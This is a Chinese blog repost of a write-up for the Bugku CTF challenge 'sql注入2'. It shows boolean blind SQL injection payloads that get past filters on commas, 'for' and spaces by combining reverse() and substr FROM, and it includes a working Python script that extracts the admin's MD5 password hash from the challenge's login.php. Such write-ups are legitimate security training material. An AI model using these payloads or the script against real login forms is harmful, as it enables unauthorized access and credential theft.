欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

bugku学习之43.sql注入2(只剩下from没过滤其余的全部过滤)

程序员文章站 2022-05-15 21:30:37
...

考察:

  • 逗号被过滤:substr(from for)或者mid(from for)截断
  • for被过滤:不使用for则mid(from)默认截断到字符串位
  • 空格被过滤:不使用空格
  • admin字符串与另一个字符串比较时会被翻译成0或者空格
    所以’admin’-’‘的意思是减去空字符串,所以值为0,更深远的’admin’-0-’‘先减去0再减去空字符串,值也为0,而’admin’-1-’'的值则为1。
  • 此题为post注入已经具有首尾两个单引号于是只需要在输入框输入admin’-1-‘和admin’-0-'即可。由此1和0的位置可以替换为注入查询的字符串比如:
uname=admin'-(length('a')!=1)-'&passwd=1111

#Burp: <script> alert('password aaa@qq.comaaa@qq.com');parent.location.href='index.php'; </script>


 密码错误说明账号正确,a的长度就是1

 uname=admin'-(length(database())!=3)-'&passwd=1111

 #Burp:<script> alert('password aaa@qq.comaaa@qq.com');parent.location.href='index.php'; </script>

 database()长度就是3

 也可以用等于号则username error为真:
 uname=admin'-(length(database())=3)-'&passwd=111
#Burp: <script> alert('username aaa@qq.comaaa@qq.com');parent.location.href='index.php'; </script>
 database()长度就是3

 uname=admin'-(length(passwd)=32)-'&passwd=111
#Burp: <script> alert('username aaa@qq.comaaa@qq.com');parent.location.href='index.php'; </script>
 passwd密码是32位推测是MD5的32加密码

 uname=admin'-(length(passwd)!=32)-'&passwd=1111

#Burp: <script> alert('password aaa@qq.comaaa@qq.com');parent.location.href='index.php'; </script>

 passwd密码是32位推测是MD5的32加密码

 下面推测passwd这32位分别是什么
 首先想到ascii(substr(passwd,1,1))=46
 又逗号被过滤:
 ascii(substr(passwd from 1 for 1))=46
 又for被过滤:
 舍弃for则自动截断到字符串尾部比如一个字符串123
 则每次截取尾部依次是3/23/123
 于是截取尾部后翻转3/32/321之后再截取尾部
 ascii(substr(reverse(substr(passwd from -1))from -1))=46
更详细解释:
mid((passwd)from(-1)) ->3

mid((passwd)from(-2)) ->23

mid((passwd)from(-3)) ->123

倒叙输出几位,但是这样如果要截取最后一位的话,显然每次截取的都是3,因此我们反转过来,使得每次截取出来的不一样

先倒叙取出几位

mid((passwd)from(-%d))

反转

reverse(mid((passwd)from(-%d)))

取最后一位

mid(reverse(mid((passwd)from(-%d)))from(-1))

比较ascii值

(ascii(mid(reverse(mid((passwd)from(-%d)))from(-1)))=%d)
或者
(ascii(substr(REVERSE(substr((passwd)FROM(-%d)))FROM(-1)))=%d)
测试一下发现

当表达式为真时,返回的是username error!!


当表达式为假时,返回的是password error!!

bugku学习之43.sql注入2(只剩下from没过滤其余的全部过滤)bugku学习之43.sql注入2(只剩下from没过滤其余的全部过滤)bugku学习之43.sql注入2(只剩下from没过滤其余的全部过滤)bugku学习之43.sql注入2(只剩下from没过滤其余的全部过滤)

import requests

url="http://123.206.87.240:8007/web2/login.php"

flag=""

for i in range(1,33):
	for j in range(32,126):
		userPayload="admin'-(ascii(substr(REVERSE(substr((passwd)FROM(-%d)))FROM(-1)))=%d)-'" %(i,j)
		data={
			'uname':userPayload,
			'passwd':111
		}
		r = requests.post(url=url,data=data).text
		if 'username error' in r:
			print(i)
			flag += chr(j)
			print(flag)
print("=================================>")
print("\n" + flag)

运算结果:
bugku学习之43.sql注入2(只剩下from没过滤其余的全部过滤)
Note:

  • md5解密网站:https://www.somd5.com/
  • 脚本一直无法运行是因为最开始的url写错,应该是login.php而不是Index.php要细心根据burp上的url地址去写。
  • 空格要注意,实在需要写可以改写成%20
  • %23单引号,0x3e冒号,%20空格
相关标签: safe - WEB